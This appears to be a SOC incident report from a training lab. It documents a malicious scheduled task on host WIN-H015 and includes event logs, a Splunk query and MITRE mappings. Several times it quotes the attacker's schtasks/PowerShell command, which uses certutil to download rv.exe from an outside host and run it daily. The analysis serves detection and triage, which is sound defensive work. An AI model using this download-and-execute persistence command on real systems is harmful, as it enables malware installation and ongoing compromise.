Ticket Number	:	SCH250830-0001
Date & Time	:	30/08/2025 @ 10:06:07 AM
Analyst Name	:	Heong Wai Kit
Severity Level	:	High
Detection Source	:	win-alert log
Status	:	True Positive

Executive Summary

An alert was triggered for a suspicious scheduled task created on a host. Investigation was carried out to determine if the activity should be considered positive. Scheduled task was found created to execute daily followed by downloading file from malicious url.

Target Host: WIN-H015
User: oliver.thompson
Task Name: AssessmentTaskOne
Current Status: Still Active

Technical Investigation & Timeline

Timeline

30/08/2025 10:06:07 AM | A scheduled task was created.

Indicators of Compromise (IOC)

- Scheduled task created with Event Code 4698 logged. Message indicated a Calendar Trigger with date & time and DayInterval equal to 1 indicating running the task daily.
- PowerShell was executed followed by command: "certutil.exe -urlcache -f http://tryhotme:9876/rv.exe C:\Users\OLIVER~1.THO\AppData\Local\Temp\3\DataCollector.exe; Start-Process C:\Users\OLIVER~1.THO\AppData\Local\Temp\3\DataCollector.exe"
  - Download file from malicious url and run the process. This is an indicator of persistence.

Evidence & Artifacts

```
<Triggers>
  <CalendarTrigger>
    <StartBoundary>2025-08-30T10:15:00</StartBoundary>
    <Enabled>true</Enabled>
    <ScheduleByDay>
      <DaysInterval>1</DaysInterval>
    </ScheduleByDay>
  </CalendarTrigger>
</Triggers>
```

```
index="win-alert" EventCode=4698 "AssessmentTaskOne"
| table _time EventCode user_name host Task_Name Message
```

Only one event occurred for a Schedule Task Created (4698) event. Scheduled to start running at 15:00hrs daily. The user is oliver.thompson.

```
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-Command "certutil.exe -urlcache -f
http://tryhotme:9876/rv.exe
C:\Users\OLIVER~1.THO\AppData\Local\Temp\3\DataCollector.exe;
Start-Process
C:\Users\OLIVER~1.THO\AppData\Local\Temp\3\DataCollector.exe"
</Arguments>
    </Exec>
```

The message shows the task will use certutil.exe to download rv.exe from http[:]//try hotme:9876 into Temp folder with the name DataCollector.exe. Then, the file will be launch using Start-Process, a PowerShell command.

```
Process Create:
RuleName: -
UtcTime: 2025-08-30 10:06:07.943
ProcessGuid: {c5d2b969-cd0f-68b2-0d04-000000002101}
ProcessId: 5816
Image: C:\Windows\System32\schtasks.exe
FileVersion: 10.0.17763.1613 (WinBuild.160101.0800)
Description: Task Scheduler Configuration Tool
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: schtasks.exe
CommandLine: schtasks  /create /tn "AssessmentTaskOne" /sc daily /st 10:15 /tr "powershell.exe -Command \"certutil.exe -urlcache -f
http://tryhotme:9876/rv.exe C:\Users\OLIVER~1.THO\AppData\Local\Temp\3\DataCollector.exe; Start-Process
C:\Users\OLIVER~1.THO\AppData\Local\Temp\3\DataCollector.exe\""
CurrentDirectory: C:\Users\oliver.thompson\
User: WIN-H015\oliver.thompson
LogonGuid: {c5d2b969-c769-68b2-4f82-0f0000000000}
LogonId: 0xF824F
TerminalSessionId: 3
IntegrityLevel: Medium
Hashes:
MD5=2F6CE97FAF2D5EEA919E4393BDD416A7,SHA256=4B679CCC4E0E84A9EDDC24362EA4A86835597A90D94A1AE0EA905D7BCD9F771C,IMPHASH=0BF09EE8918142E
ParentProcessGuid: {c5d2b969-ca2a-68b2-0d03-000000002101}
ParentProcessId: 4128
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"
ParentUser: WIN-H015\oliver.thompson
```

Tracing the Parent Process ID 5816, the malicious task was created by the parent process cmd.exe.

```
8/30/25
9:53:49.000 AM   08/30/2025 09:53:49 AM
                 LogName=Security
                 EventCode=4799
                 EventType=0
                 ComputerName=WIN-H015
                 SourceName=Microsoft Windows security auditing.
                 Type=Information
                 RecordNumber=61847
                 Keywords=Audit Success
                 TaskCategory=Security Group Management
                 OpCode=Info
                 Message=A security-enabled local group membership was enumerated.

                 Subject:
                         Security ID:            S-1-5-21-1966530601-3185510712-10604624-1011
                         Account Name:           oliver.thompson
                         Account Domain:         WIN-H015
                         Logon ID:               0xF824F

                 Group:
                         Security ID:            S-1-5-32-544
                         Group Name:             Administrators
                         Group Domain:           Builtin

                 Process Information:
                         Process ID:             0x1f70
                         Process Name:           C:\Windows\System32\net1.exe
                 Collapse
                 host = WIN-H015 | source = WinEventLog:Security | sourcetype = WinEventLog
```

The adversary enumerates the Administrators group during discovery.

Containment & Remediation

Immediate Actions Taken

Escalated to SOC Analyst L2.

Prevention Recommendation

MITRE ATT&CK T1053.005 Scheduled Task/Job: Scheduled Task

MITRE D3FEND suggested to implement Job Analysis. Details of scheduled job such as processes, destination files, etc. should be first identified and analyzed, then compared against an antimalware signature database, whitelist or reputation server.